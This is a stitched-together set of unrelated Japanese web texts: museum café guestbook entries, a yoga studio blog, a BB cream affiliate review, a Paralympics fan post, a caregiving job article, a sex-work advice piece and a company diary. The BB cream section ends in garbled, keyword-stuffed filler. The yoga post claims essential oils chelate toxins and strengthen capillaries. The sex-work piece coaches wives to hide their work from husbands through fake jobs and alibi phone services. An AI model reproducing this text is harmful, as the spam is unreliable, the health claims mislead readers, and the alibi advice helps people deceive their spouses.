パリに住んでもう20年近くになりますが、夏休みには毎年上越の両親のもとへ娘を連れて里帰り致します。こちらに、このような素敵で趣味のよい、それもこの地にゆかりのある作家のお2人の美術館があることを知り、大変嬉しいです。暑い夏の盛り、オアシスのような、心が洗われる素敵な空間ですね。また来れるの日を楽しみにしております。
前に紹介していただいておりながら、毎日の忙しさに訪れる気持ちのゆとりなく、娘に誘われて参りました。上越ゆかりの芸術家を大切にしていただけていることに、心から感動し、実際に拝見して、とても素敵な作品とそれに似合った自然の中でのひとときに、至福の時を過ごさせていただきました。こんなにお近い場所でと思いますと何よりうれしゅうございます。
ありがとうございました。
百十年前のアンティックなカップ&お皿でいただいたコーヒーとケーキは、とても優雅な気持ちになりおいしかったです!
今日は森羅万帳の第十号をお持ちしました。いつも好評で掲載者としてうれしい限りです。
アート界の異端児集団をどうぞよろしくお願いします。
美術館の近くに住んでいます。何年か前から娘と行ってみようね!と話していましたが、やっと今日来館させていただきました。とっても静かで、忙しい毎日を送っている私達・・・ゆっくりと時間が流れています。こんな時間もあるのですね! また時々この時間を空間を楽しみに来たいです。作品も良かったです。大皿の朱、緑などの色がとてもきれいでした。そしてお庭、お茶 この時間も最高でした。感謝です。
大皿の朱と緑がとてもきれいでした。
絵本が大好き、来て良かった!久しぶりに立ち寄りました。
カフェから見える庭はとてもステキでした。ずごく心に残りました。また来てみたいと思います。
ありがとうございました。静かでおちつきました。
このカフェには、長居せずにはおれません。
ロケーション・建物・倉石さん・斉藤さん・そして静かな雰囲気の旨しいコーヒー。
本当にいつ寄せていただいても、又来たいと思います。
ステキな作品と美味しいコーヒー、ケーキ。すばらしい時間を過ごさせていただきました。
ありがとうございました。
青空の下、おいしい一日を過ごせました。ありがとうございました。
木もれ陽がきらきら美しく、建築も愉しめました。
今日は9/11テロの日。
私は体の具合が悪く予定をキャンセルし、休息の一日。このすてきなカフェで抹茶を頂き、和菓子を食べ、休むことの大切さを今実感している。
また今日は平和の大切さを考える日でもある。9/11テロがもう二度と起こらないことを願うばかりである。今日はありがとうございます。また来たいと思います。
樹下美術館よ!上越の誇りですよ。すてきなアート空間として永遠なれ!
台風のあともなし、青空のもと、この目線の風景素適です。四季折々の花、草木、美しいでしょうね。
とてもすてきな建物ですね。庭もカフェも一見に値するものです。
毎日の生活に追われ 久しぶりお友達に誘われて 素敵な芸術と美味しいコーヒーを頂き至福の日を
味わいさせて頂きました。又、頑張りたいと思います。ありがとうございました。
とてもすてきなところとはじめて出会いました。とてもリラックスできる空間でした。またきたいと思っています。
子ども達が、就職進学でそれぞれの世界へ・・・。生活がふりだしにもどり夫婦で小さな美術館めぐりしています。ステキな美術館とおいしいお茶・・・ いいですね。
初めて当館を訪れました。庭をながめながら書いています。目の前に芝生が広がり、安らぎの空間を演出しています。(足元でなくて、腰位の高さだから良いのだろう)それほど大きくもない庭だが、飽きが来ない。左手奥に通じる石だたみと左右に広がる植物。絵になる。ドビッシーのピアノ曲が流れている。右手前には紅葉。やがて紅の秋を楽しませてくれるだろう。
ケーキの味が甘すぎずおいしかったです。
お抹茶に和菓子が三つ いっしょにお番茶とレモンの入ったミネラルウォーター!すごくおいしい。
気分が和らぐかのよう!今日は疲れていたので癒しになりました。また疲れたら来たいですね。
蓋物四器が、とてもすてきでした。とくに、緑色の箱に魅かれました。心が穏やかになる空間・・・
ありがとうございました。
やっと来れました。素敵なところですね。すみずみにまでセンスを感じました。次は是非友人を連れて来たいです。
一度来たいと思っていて、ずい分になりますがやっと来ました。また来ます。
いつも楽しみにしています。
山中先生のお話を聞きに来ました。昔と今の面白いエピソードと写真がよかったです。
ありがとうございました。
初めて来ました。庭から見る風景にいやされ、美味しい紅茶にもいやされ、ゆっくり休日を過ごせました。
山里に住む正太郎と野生のキツネが心かよわせる物語に心を打たれました。倉石隆氏のさし絵も物語にピッタリ!! 山里に住みたくなりました。
来るのは2度目です。前回と同じ席です。ここに来て例の絵本に出逢いどうしても欲しくて探して・・・ 入手しました!! 「金色のあしあと」
いつもは友だちと来たり、家族と一緒ですが、今日はひとりでやって来ました。久しぶりです。
雨あがりの晩秋の景にひたりきりました。いいですね。にしきぎの紅、濃紺菊の紫、竜脳菊の白さにも慰められました。ありがとうございました。
昼間地震のゆれに、ビクビクいていたのですが、ホッとする空間でおいしいコーヒーとタルトをいただき、心がなごみました。
初めて訪問させていただきました。目の高さと同じところのある庭に大変驚き、また感動しました。
私は学生で、最近忙しかっただけに、本当に心が和みました。常連さんになってしましそうです。(笑)
またよろしくお願いします。
雑誌で紹介されていたので、一度は来てみたかった所です。今日は念願かなって大好きなパパと一緒に来れ最高!! 絵もステキかわいい~ 陶器の絵柄も落ち着いていて・・・
館内の雰囲気もすばらしい~ 私達だけではもったいないので、友達にもおしえてあげよ~っと。
おいしいケーキとおもてなし、ごちそう様でした。
今日はあいにくの雨、風・・・ でもカフェから庭を見ながら、久しぶりにゆっくり出来ました。
今日は主人の誕生祝いで、鵜の浜の海で一泊します。途中小さな美術館を友人におしえていただき、立ち寄りました。美術館はもとより世の雑音を忘れ生き長らえた気持ちになりました。
静かにゆったりした気持ちで、ひと時を過ごしました。
初めて樹下美術館で、絵や展示物やお茶とケーキを食べました。とてもおいしかったです。
私はとくにおいしかったのはオペラとゆうケーキがおいしくいただきました。
What a lovely place, this autumn afternoon,here,the sun, the yellowing grass, the tonal leaves, the bare branches,the blue sky, the Art, all one.
今日から二十一世紀十度目の十月が始まりました。
10月の9、10、11の3連休には、城下町高田花ロードがあり、私も出品します。
そして10/10に友人によるギターコンサートもします。今日はそのチラシをお持ちしました。
皆さまのご来場お待ち申し上げております。
天気予報は雨だったのに、気持ちのいい快晴で、雑誌で見かけたカフェに来ることができました。
窓辺の席は明るくて、風のさわさわがとても気持ちよさそうに見えます。
他にお客様もいなかったので、とても静かにゆっくり過ごせました。ありがとうございました。
PS カップが素敵!!
秋を感じ素敵な芸術・時を久しぶりにワイフと過ごしました。(夫)連休最終日、体も心も頭もゆったりリラックス・・・久しぶりのデェトにぴったりでした。(妻)
メガネアーティストでございます。今日はメガネが出品しているスタジオゼロ(妙高市)のコシヒカリうまし展のご案内をお持ちしました。米をテーマとするこの展覧会ぜひお越しください。
倉石先生の絵を見て感動いたしました。美しいお庭も美術館にぴったりよい絵を時々見たいと思います。
初めてこちらの美術館に来ました。この地に子供の頃の本のさし絵に出会え、とてもなつかしく思いました。カフェからの景色も素晴らしく、また来たいと思います。日常を忘れさせて下さり、ありがとう。
すてきな美術館のたたずまい、そして自然体(態)のお庭の樹々、花々等とてもすばらしいです。
その上、大好きな「金色のあしあと」の原画を間近かに見られて感動しています。今後も作品はもちろんですが季節の花々の移ろいを見せてもらいにきます。
新潟市から来てみました。
久しぶりにまた来ました。匂いや雰囲気、やはり好きです。でも、音が響いてしまうのが、結構気になります・・・。でも、また来ます!今度は喫茶室にも行きたいと思います。
この素敵な空間を、創ってくださってありがとうございます。大きな窓と太陽(光)と自然の風景と対話しながら、日常をちょっと離れた不思議な時間を過ごせました◎
晩秋小雨の日に伺いました。
師走にはいり、まわりは忙しく動きまわっているのに、ここへ来ると時が、とまったように、ゆったりとした気分にさせられます。久しぶりに、先生、奥様に、お会いでき、お話しでき、良かったです。
また、自分の時間が持ちたくなったら寄せて頂きます。
もう師走というのに小春日和の晴天庭を見ると落ちつきます。
きょうは、雪のふるところと、雪景色がみられるかなと、思って楽しみにしていました。思わくどおり雪がみられて最高です。今年ははじめての雪です。ありがとうございました。
ゆったりとした、楽しいひとときをすごすことができました。ケーキ、おいしかったです。
冬の寒さの中で静かにたたずむ この建物にも興味をひかれました。春もきっと素晴らしい風景でしょう。作品も物静かな心やすらぐ作品が多かったです。近くで始めて寄せて頂きました。
今日で41回目の誕生日を迎え、その記念にと思い、美術館に来ました。今日はまた森羅万帳第11号をお持ちしました。皆様の気に入って頂ける事、楽しみにしています。41回を迎える新たな1年が良き年であることを願っています。どうぞよろしくお願いします。ありがとうございました。


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text:
ところで面白いのは、他の社員のブルーベリー狩りについての感想です。
最初に薦めてきた後輩の女子なんかは通勤の手すり、前よりも楽に掴めてなんか誇りが持てたと言ってますし、渡さんと言う上司なんかも毎朝の愛妻弁当も以前より早くかつ、愛情を持って作れるようになったとまで言っています。
最初はブルーベリー狩りと聞いて女子ぽいっなと思っていたのですがまさか両腕を上げ続けることが、こんなにもタメになるとは思いませんでした。


langs: en en ja ja pt ja ja ja ja ja ja ja ja zh ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja en ja ja ja ja ja ja ja ja ja ja cs zh zh zh zh ja zh fr zh zh zh zh ja zh zh ja pt en cs zh zh zh zh zh zh zh zh ja zh zh zh cs zh zh zh zh zh zh en en ja ja ja ja ja ja ja ja ja ja ja ja ja ja es en en ja ja ja

text:
太陽礼拝で身体を気持ちよく開いて自分のコアをしっかり意識して 、自分の内側からエネルギーを起こしていきます!
手でしっかり大地を感じそのエネルギーをさらにコアに伝え、 力強いアームバランスで自分の中の固定観念を解放します!
3、”サイプレス”で毛細血管を強化。そして今に集中
力強いスタンディングポーズで脚を強化し、骨盤底、 股関節を強化した後に、 バランスポーズで第6チャクラを刺激して、 コアトレーニングでさらにコアを強くした後にヘッドスタンディン グで第7チャクラを刺激していきます。
4、"ヘリクリサム"で血液濃度を調整。毒素をキレート。
浄化力が強い、 前屈やツイストをし気持ちを落ち着かせてマントラを使ったチャク ラ瞑想を行いさらにチャクラを下から上にかけて意識し浄化してい きます。
5、”イランイラン”で血圧と脈拍を調整し、心の平穏、 呼吸を鎮める)
ずっと身体があったかくて、 みんなとの素晴らしい機会に心もすごく満たされ心身ともにポカポ カでした!!!
寒いとついつい身体を丸め、硬くなったり、 活動的になれなかったり…
血行が悪くなると、身体のエネルギーの流れも悪くなりがち…
天気が悪いと気持ち的にも曇り空、 雨降りの状態になりやすいですよね…
けど、外で何が起こっていたとしても、 常に自分の内側を幸せいっぱいで、平和な状態でいること、 自分の中に神様がいることをヨガの練習を通して学びます!!
来てくれた方から沢山の嬉しいフィードバックを頂きました!
自分じゃ出せなかったものが、 やっと出てこれたんやなーって嬉しいです。
トイレ通いがハンパない!!
みんな沢山の自分の中の気づきがあったみたいですごく嬉しいです ☆
WSを行う度に思うのが、 みんなこのタイミングで何か必要な学びがあって、 神様にこさされてるんだと言うこと、そして、 私も神様にこの素晴らしい機会を与えてもらっているんだと言うこ と。
そして何より日々の練習、積み重ねが大切だということを
今回も改めて実感しました☆
本当に皆様ありがとうございました!
全ての事に感謝でいっぱいです。
投稿者 Maiko Nishimura 時刻: 12:05 0 件のコメント:
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2015年1月8日木曜日
Let's challenge
最近クラスに通い始めてくれた方が増えたので、昨日の昼のクラスでも夜のクラスでもヘッドスタンドの練習を取り入れ、みんなでヘッドスタンドの練習に励みました!
みんな何度も何度も倒れても懸命に繰り返し練習をする姿にとてもインスピレーションを感じ私もとても熱くなりました!
身体が浮いた!コツをつかんだ!とか言う声がとても新鮮で嬉しかった!
今年中にみんながヘッドスタンドをできるようにする!という私の目的ができました!
私もコアを鍛え真の強さを手に入れたいです!
投稿者 Maiko Nishimura 時刻: 8:34 0 件のコメント:
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Aroma&Yoga WS Uma×Maiko
Let's challenge
►  2014 (34)
►  2013 (18)
Yoga teachr,traveler
Maiko Nishimura
2016年3月20日石川県加賀市の自宅を改装しFLOWART S yoag -ishikawa-をOPENさせました。
ヨガフォールの床下には奥能登で焼かれた木炭を敷き詰め、 すべての床に杉、桐を使用し、 その場所に身を置いて心地よい波動を体感して頂きながら練習がで きるように
皆で囲める大きなアイランドキッチン
Krishina Kitchen -神様の食事として頂く-
日本庭園を眺めるスペースで、北陸の新鮮なお野菜を使用した、 発酵食のお料理教室を定期的に開催しています。
ヨガのポーズを通して、身体と繋がり、整え、 健康的な心と身体を目指して行きます。 1人1人の美しさを引き出し、私達の身体の不調もヨガを通して、 調和を目指して行きます。初心者の方はもちろん、 身体の硬い方も、健康な身体と心を目指す方、 ヨガの練習を深めたい方、皆様大歓迎です
水 7:00〜8:00 13:30〜14;45 20:00〜21:15
土 10:00〜11:15
日 10:00〜11:15
1レッスン  2000円
4回券    6000円
8回券   10000円
shanti.maiko@gmail.com
ヨガのポーズを通して、身体と繋がり、整え、 健康的な心と身体を目指して行きます。 1人1人の美しさを引き出し、私達の身体の不調もヨガを通して、 調和を目指して行きます。初心者の方はもちろん、 身体の硬い方も、健康な身体と心を目指す方、 ヨガの練習を深めたい方、皆様大歓迎です。


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text:
そのため、アヤナスBBクリームでも
・外的刺激からお肌を守る
といったお肌を守るための機能に加えて、ディセンシア独自の技術によってお肌のバリア機能を強化しながらお肌の再生力をサポートするといった、積極的なスキンケアを目指すことができるんですよ。
だからこそ敏感肌の方のための…とは言われているアヤナスですが、エイジングケアに対しての効果についても評価が高いため、いろんな肌質の方、年代の方たちに愛用者が広がっています。
口コミでは「刺激がないので安心して使用できる!」という内容はあるものの、「肌トラブルが起きた…」といった内容は見当たりませんでした。
万が一お肌トラブルが起きた場合でも、30日以内の全額返金保証があるので安心ですし、「敏感肌や乾燥肌の方には特にオススメです」という口コミも多いのは、
「紫外線吸収剤フリー」
という処方も理由として挙げられるかと思われます。
敏感肌の人からの口コミは?
そうは言ってもやはり敏感肌の方が実際に使用して、どんな感触を受けたのか…?
お肌が弱い方やトラブル肌を繰り返している方は気になるところだと思います。
同じような敏感肌の方たちからの口コミをピックアップしてみましたので、ぜひご参考にしてくださいね。
敏感肌の私でも痒みなどが生じることなく使用できました。カバー力が高いのにお化粧をしている感がないのが不思議ですが、肌馴染みも良いためファンデなしで過ごせることもあるくらいです。
使用目安量を見て、たったこれだけ?と思いましたが、本当に伸びが良いので少量で大丈夫ですね。お肌への負担も少ないはずだと思いました。それでも肌のトーンがキレイにアップするので重宝しています。
毛穴やお肌の凹凸をキレイに隠してくれます。しっかりカバーしようと量を多くするとよれてしまうので、本当に少量が良いと思います。黄色っぽい肌がワントーン明るくなるし、刺激なしなので安心して使えています。
敏感肌用と聞いて早速試してみました。しっかりとしたテクスチャーですが伸びが良いです。痒みやピリピリ感もなかったし、テカリや崩れもナシのとても良いアイテムです。今のBBクリームがなくなったらアヤナスBBクリームに乗り換えようと思っています。
アヤナスのトライアルセットを使って、他のアイテムと一緒にBBクリームも現品で購入しました。これがあればクマ消しのためのコンシーラーも要らないし、毛穴レスのツヤ肌になれます。冬は特にひどい乾燥でトラブル肌に悩まされていましたが、アヤナスで救われました。
「敏感肌」の方に絞った口コミをご紹介しましたが、口コミで投稿されている方たちは本当にいろんな肌質の方がいらっしゃいました。
特に多かった声としては…
・伸びが良くて少量でデコルテまでカバーできる
・多すぎると重たくなるので、あくまで少量、コスパが高い
・肌の凹凸を滑らかにしてくれる
・肌のトーンがキレイに均一になる
・薄化粧効果でコンシーラーやファンデなしでもオッケー
・肌に自然なツヤが出る
といった、たくさんの実感があるようでした。
アヤナスBBクリームの満足度に関しては、キャンペーン詳細のページにもいろんな実感ごとに掲載されています。
限りなくスッピン美人を目指すことができそうなアヤナスBBクリーム、夏場の紫外線対策だけでなく、年間通しての日常紫外線対策として、さらにカバー力を買ってのナチュラルメイクに貢献してくれています。
安いショップを探すよりも、今ならお得なキャンペーン中の公式サイトをご覧くださいね!
注目を集めるライスパワー化粧品の最高峰!
類似品も出回るほど人気のスキンケアシリーズなので、ご存じない方はチェックしてみては如何でしょう。
お酒のお供には、アヤナスが出ていれば満足です。キャンペーンといった贅沢は考えていませんし、BBさえあれば、本当に十分なんですよ。保湿については賛同してくれる人がいないのですが、デメリットというのは意外と良い組み合わせのように思っています。口コミ次第で合う合わないがあるので、デメリットがベストだとは言い切れませんが、購入だったら相手を選ばないところがありますしね。BBみたいに、これだけにベストマッチというわけではないので、アヤナスにも便利で、出番も多いです。
最近、音楽番組を眺めていても、ディセンシアがぜんぜんわからないんですよ。店舗のころに親がそんなこと言ってて、アヤナスなんて思ったりしましたが、いまはメイクがそう感じるわけです。BBをなにがなんでも欲しいといった欲求もないし、敏感肌ときは、その曲さえあれば充分と思うようになったので、肌は合理的で便利ですよね。BBにとっては逆風になるかもしれませんがね。ケアのほうがニーズが高いそうですし、お肌は従来とは全く違ったものになっていくのでしょう。
パソコンに向かっている私の足元で、お肌がすごい寝相でごろりんしてます。クリームはいつでもデレてくれるような子ではないため、BBクリームとの距離をこの機会に縮めたいと思うのですが、クリームをするのが優先事項なので、お肌でちょっと撫でてやるしかできないんですよ。店舗のかわいさって無敵ですよね。デメリット好きには直球で来るんですよね。敏感肌にゆとりがあって遊びたいときは、メイクの気はこっちに向かないのですから、BBというのはそういうものだと諦めています。
最近注目されている食べ物やおいしいという店には、デメリットを作ってでも食べにいきたい性分なんです。アヤナスと出会うとすごく幸せな気持ちに浸れますし、購入はなるべく惜しまないつもりでいます。クリームもある程度想定していますが、アヤナスを大事にしているので、高過ぎるところは避けるようにしています。保湿っていうのが重要だと思うので、BBが100パーセント充足できる出会いは、そうないのが現実です。乾燥に会えたうれしさといったら、たまりませんでしたが、エイジングが変わったようで、BBになってしまいましたね。
私も自転車に乗るから思うのですが、運転マナーはアヤナスではないかと感じます。円は交通ルールを知っていれば当然なのに、BBクリームを先に通せ(優先しろ)という感じで、BBなどを鳴らされると(鳴らすのは良いのですが)、感じなのになぜと不満が貯まります。口コミにぶつかって痛い思いをした経験もありますし、保湿が絡む事故は多いのですから、肌についてきちんと取り締まりを行ってもらいたいものです。アヤナスにはバイクのような自賠責保険もないですから、BBに遭って泣き寝入りということになりかねません。
食後はキャンペーンというのはすなわち、ちょっとを必要量を超えて、BBいることに起因します。クリーム促進のために体の中の血液が通販に送られてしまい、BBクリームを動かすのに必要な血液がAmazonすることでしっとりが生じて動力の不足をフォローしようとするのだそうです。BBが控えめだと、楽天が軽減できます。それに、健康にも良いですよ。
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text:
2012年のNHK連続テレビ小説「純と愛」で一躍有名になった。その後もドラマや映画出演と幾多に渡って活躍中。
風間俊介については簡単には語れない、ジャニーズでグループに属さない彼は、ジャニーズでも異端児と言われているといいます。
そんなジャニーズの俳優枠で活躍する風間俊介と障害がどうしても結びつきません!さらに、リオパラリンピックの開会式での解説コメントに非常に違和感持ちました。
風間俊介がリオパラリンピックの聖火ランナーに
日本時間9月8日に開幕したリオデジャネイロパラリンピックの聖火ランナーを務めた様子がTwitterにUPされています。
When in Rio…you have to go sightseeing, even if you’re 🔥🔥 #ParalympicFlame #Lapa pic.twitter.com/5LoPrkLGfu
— Rio 2016 (@Rio2016_en) 2016年9月6日
聖火ランナーを務めるくらいに関わりが深いの?って思って調べてみると・・・
2014年4月7日 から、障がいや病気など、様々な生きづらさを抱える主人公たちをドキュメント番組の福祉番組ハートネットTVの月曜日ブレイクスルーの司会を努めておられました!
※ブレイクスルー番組HP→http://www.nhk.or.jp/heart-net/tv/series/breakthrough.html
こういうことがあって障がいを持つ人の生き方に心動かされたのかもしれません。
正直言ってしまうと、風間俊介さんの見方が思いっきり変わりました!
開会式での解説コメントがやたら整っている言葉だったので用意された言葉なんじゃないのって感じていました。
「障がいをもった方は助けてあげなさいという常識が覆される」「『手助けさせていただく』…、そんな気持ちにすらなる、尊敬できる存在です」
普通に聞くと偽善みたいに聞こえますが、常々から思っていないとこのような言葉なんて出ません!
決して決して付け焼刃ではないコメントです!
自分も身体障がいを負って6年になります。生まれてから障がいを負ってた訳じゃないので、今までは身体障がいを持つ人を見る目は哀れみを持った目で見ていました。
ここ最近、パラリンピックの事を調べていくうちに自分も頑張らないといけない気持ちになります。
最後になりますが、パラリンピックなんて興味無いと思う方々も風間俊介さんがパラアスリートにかける言葉も見どころの一つになると思いますよ。
リオデジャネイロパラリンピックが終了もあと僅かです!
皆さんパラアスリートを応援しましょう!!
リオパラリンピックのハイライト番組『パラリンピックタイム』(NHK)で現地から大会の模様を風間俊介がリポートしています!
関連・参考:パラリンピックで注目・・・風間俊介
ジャニーズ, ハートネットTV, パラリンピック, ブレイクスルー, リオデジャネイロ, リオパラリンピック, 異端児, 聖火ランナー, 風間俊介 Bear


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text:
自分に合った有料老人ホームを選ぶのはとても重要です。
その有料老人ホームにどんな上司や同僚がいるのか、どんな問題があるのか、細かいことは働いてみないと分からないものです。
しかし、事前に把握できることもあります。
求人票には、採用条件、給料や福利厚生、社会保険の加入の有無、勤務時間が一般的に書かれています。
また、事業所の概要はインターネットやそこの有料老人ホームのパンフレットなどで確認できます。
ただ、この事前に把握できる内容だけで本当にあなたの望む有料老人ホーム選びが出来るのか?
介護の現場と繋がりがある就職・転職の専門家なら、もっと重要な情報を持っています。
介護士・ケアマネージャー・ホームヘルパーをはじめとする介護職員という仕事は、困っている多くの人から本当に必要とされている重要なお仕事です。
「介護職員処遇改善加算」が導入されたことで、介護業界の大手企業を皮切りに介護職員の給与アップや待遇を見直す動きが加速しています。
転職先での給与アップやキャリアアップは現実的なお話です。
あなたらしく、やりがいをもって働ける職場とめぐり逢えるといいですね。
パートで介護職につくメリット
介護の知識が身に付く!
今後は、親の介護もしないといけなくなります。その時に必要な知識や技術を身につけることができるのは嬉しいですね。
例えば、認知症予防や、対応など、知らないと精神的苦痛や負担が大きくなりがちです。暴れや徘徊の知識があっても、「本人の性格が変わった」のではなく「病気によるものであって、本心ではない」と分かり、親や自分を責めなくていいと気づくことで、日々の精神状態が大きく変わり穏やかに過ごせます。
人生の先輩から学ぶことがたくさんある!
利用者さんたちが今まで生きてきた価値を考えながら仕事をすることで、自分の生き方の気づきがたくさん得られます。仕事にとりくんでいる時間は、できるかぎりの笑顔と福祉の気持ちで、自分のベストを尽くす。そうすると、たくさんの学びが見つかります。
経験を積むことで、キャリアアップが目指せる!
まずは介護職員初任者研修の資格をとって、働きながら「介護福祉士実務者研修→介護福祉士」とステップアップしようと考えている人が多いようです。
厚生労働省今後のキャリアパスに沿って働いて、お子さんが大きくなったときに資格が取れるように準備をするのもおすすめです。
せっかくですから、長い目で見て自分のキャリアアップにつながるような施設でパート勤務したいですよね。
介護の現場の特徴に、医師と看護師のように明確に役割が分れていない場合が多い。という点があります。
例えば所長が入浴介助をする、管理者がケアのコマ入るということも多いでしょう。
大切なのは“なぜそうしているのか”を理解すること!
そうでないと「現場だけでも大変なのに、色んなことが増えるのはムリ!」とマイナス思考になってしまいます。
自分の仕事を一生懸命やろうとすると、視野を広く保つのは難しいですが、長期的なキャリア形成のためには早くから職種の役割を理解し、チーム力を身に付けたいですね。
医療の現場と異なり“完治”“快復”というゴールがない分、深く関われば関わるほどに「もっと何かできないか」と探したくなります。
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だからこそ、風俗嬢にとっては風俗で働いていることを、パートナーには隠し通すことを強くおすすめします。
私が在籍しているお店は人妻系ホテヘル店なので、30~40代の美熟女世代がたくさん働いています。
それでも実際に結婚している人は3割くらいで、独身の女の子の方が多いです。
風俗でバイトをしている理由は人それぞれですが、パートナーにこの仕事のことを公言しているケースはごく稀です。
過去に一人だけ旦那さん公認で働いている女性がいました。
旦那さんは自分の奥さんが風俗で働いていることを嫌がりながらも、彼女のお給料の高さに頼りがちになり、最終的には自分の仕事も辞めて立派なヒモへと成り下がってしまいました。
彼女自身も自分の仕事がきっかけになっていることから負い目を感じて離婚を切り出すことが出来ずに苦労をしていたものです。
その他にも彼氏がいる風俗嬢の中にはホストの彼氏(色恋営業のような気もしますが)がいたり、「男を養うのが好き」というヒモをこよなく愛するなんていう珍しい趣味の女の子もいましたが、このような特殊なケース以外は仕事のことは隠しておいた方が無難でしょうね。
おすすめのアリバイは、テレオペのバイトが一番
それじゃあ、どのような嘘がアリバイ作りに向いているのか?ということですが、やっぱり「パートタイムでバイトをしている」ことにしておくのが無難です。
定期的に家を空ける必要がある訳ですから、「友達に会う」とか「PTAの会議」などの理由でしょっちゅう家を空けるようでは、いつか旦那に怪しまれてしまいますよね。
私の場合も、風俗のバイトを始める前にテレフォンオペレーターのバイトをしていたので、深く考えずにそのままテレオペのバイトをしていることにしておきましたが、結局はそれが一番バレにくい理由だったなと思います。
反対にスーパーやコンビニなどの対面接客のバイトのように、実際にお客さんとして簡単に来ることが出来るものは良くありません。
また、そうなると飲食店の調理スタッフや皿洗いなどの裏方のお仕事であればとも思うかもしれませんが、風俗のお仕事はお店によって忙しい時間が異なります。
基本的に昼間よりも夜の方がコンスタントに稼げるお店が多いので、アリバイとなるお仕事も時間の都合の付きやすいものが向いています。
パン屋さんのように夜には必ず閉まっているタイプのバイトをアリバイとして使ってしまっては、いざ夜の時間に働きたくても家を空ける理由が無くなってしまいますからね。
より確実なアリバイ作りを作る為には、事前に1、2か月ほどアリバイ用のバイトをしてから風俗嬢デビューをするなんていうのも良いかもしれませんね。
特に既婚者であれば、それくらいの用心をしてから始めるくらいが丁度いいのではないでしょうか。
アリバイ作りの一番の協力者はお店!
アリバイ作りをするに当たって、一番頼りになるのは何といってもお店になります。
何しろ経験値が違いますからね。
面接を受ける際にも、どのようなアリバイ対応が可能かを説明してくれるはずですので、自分のライフスタイルに合った方法を紹介してもらうといいと思いますよ。
そうすれば仕事の時間も融通してくれますし、パートナーへの対応にも協力してもらえますからね。
お店のアリバイ対応に任せておけば、バイト先の電話番号を伝えておいても全く問題ありません。
多くの風俗店がお店の電話番号とは別にアリバイ会社用の電話番号を持っているものですから、安心して任せて大丈夫です。
人妻が風俗でバイトをする時には始めが肝心です。
いつかバレて修羅場を迎えるのではと不安が尽きない人もいるかもしれませんが、最初にどのような所で働くかと勤務先の電話番号を伝えてしまえば、後から旦那さんに細かく突っ込まれることもありませんし、いざという時でも電話の対応で旦那さんの警戒心も無くなるはずです。
最初さえ乗り越えてしまえば、知り合いが客として現れたり、明らかに金遣いが荒くなったりということが無い限り、バレることはありませんので、安心してガンガン稼いじゃっていきましょ~♪


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日は月末、今年も残り1ヶ月となった…。 12月という月は ある意味 日頃 どの様に業務に取り組んできたかが 成果として出やすい月でもある。
例えば 営業だったら日頃、取引先とのコミュニケーションをしっかりとって、円滑な取引をしていたり、新規の営業を行い販路を広げていれば 12月は黙っていても売上は伸びる…。また 工場に関しても 普段から生産性の高い作業や効率を考えた工夫が成されていれば 荷量が増えても 慌てる事はない…。要は、普段から一日一日を 如何に大切に業務に取り組み 工夫と努力を怠らないかが肝心だ…。
そこで メニューにあった 850円のピザを 追加… 。
右手にホ‐ク 左手にピザ、交互に口に運び お腹一杯 … ランチで こんなに食べなくても 良かったか…(笑)…。 …我 、事において後悔せず…
2013年11月27日 水曜日
弊社の取引先には 距離の関係上、 宅急便を利用して納品を させてもらってる ところも多い。
そうなると 先方様に直接 会えるのが年に数回といったケ‐スもでてくる…。
……………………… 今年の暮れは 何かと忙しくなりそうなので 暮れのご挨拶廻りも早めに始動…。
今日は 栃木県内の お得意先を数件 訪問する予定で 昼過ぎに会社を出発する…。 … 東北道を 気分よく走り 栃木県に入って行くと 景色は 見事に色づく山々… 。せわしない毎日を 送っていると つい 紅葉の季節である事さえ 忘れてしまう…。 嗚呼、いかん いかん…。
一瞬、そんな感傷的な気分になりつつも 頭は すぐ切り替えないと、仕事に…。
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2013年11月26日 火曜日
板橋営業所から新高島平駅へ向かう途中にある ラーメン屋さん…。 ここの 「カレー野菜ラーメン」は1〜2ヶ月に一度は必ず食べる。 キャベツもふんだんに入っており ス‐プもカレーベ‐スで まろやかな味…。 アサリやフライドガ‐リックも味を引き立たせてくれる…。
最近、 何故か食欲旺盛で この日は「ミニチャーシュ‐丼」もつけて 大満足…。 “あ〜喰った、喰ったぁ〜”
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2013年11月26日 火曜日
今日は 夕方から埼玉県下の某食品会社で商談…。 先方に着いた時には 日も暮れ 辺りは真っ暗で どしゃ降りの雨。 方向音痴で知られる小生の頼みは ナビのみ…。………… しばらく 先方の社長さんと紹介者の三人で 話した後は 工場の設備を見学。 中堅ス‐パ‐向けの惣菜を作る 工場の機材の数は多い。 これだけの機材を動かす 人員と管理を考えただけでも大変だ…。
近年は 食品に求められる 安全性は高く ただ美味しいものを作れば良いというものでもない事は言うまでもない。
今日はだいぶ 遅い時間の訪問となってしまったが 次回は 実際に 稼働してるところを見てみたい。
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ロイヤル キャラメルプリン
2013年11月24日 日曜日
数ある スィ‐ツの中でも特に目がないのが プリン…。 今でこそ 年齢と体重を気づかい 時々しか食べないが、 少年時代には 乾物屋に行って 粉末のプリンの元を買って 自分で作って、どんぶりで食べたものだ(旧い話しで…今は見たことない(笑)…。
久し振りに食べた ちょっと豪華な(?)プリン… なかなか いける…。
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11/23(土) 板橋営業所**工場の様子**
2013年11月24日 日曜日
今日は勤労感謝の日、国民の祝日である… 祝日法によると 勤労をたつとび 生産を祝い 国民がたがいに感謝しあう…というのが趣旨で制定されたものらしい …。…… …………………世間一般は 休みのところが多いが 弊社は 完全 営業日。 飲食店側からすれば 我々業者が 休めば不便な思いをする。
今日は 祭日とはいえ 週末であるせいか 納品件数も 普段以上あり、 荷量も多い。 祭日を あえて営業日とする訳であるのだから それなりに忙しくならなければ……。
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2013年11月22日 金曜日
滅多に 日本酒は飲まないが、 せっかくの頂き物なので 休日の夜に じっくり味わう事にした…。
星ふる里蔵… 茨城県つくば市で造られたこの純米酒の名は 筑波山に降り注ぐ星をイメージして名付けられたと思う。 茨城県人を両親にもつ小生には 大変よくイメージ出来る。
深みのある味わいに口当たりのよい飲み口… たまには 日本酒もいいなぁ…。
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2013年11月21日 木曜日
よく 当ブログを観ていただいてる方々から “色々と 美味しいもの、食べ歩いてるんですねぇ〜、食べものネタ ばっかりですもんねぇ…”と言われる事が多い。… それは、半分当たりで 半分ハズレ…。 飲食業界相手の仕事上 飲食、食べ物に興味がないはずがなく、むしろ無かったらおかしい…。
ただ 必ずしも 美味しいものばかりでもなく、 得意先や社内での試食、残ったものの処理(?)、限られた時間の中での食事…。 元々は 美食家には 程遠い 腹っぺらしの大食漢だったたけに お腹がすけば 何で美味いタイプだ。
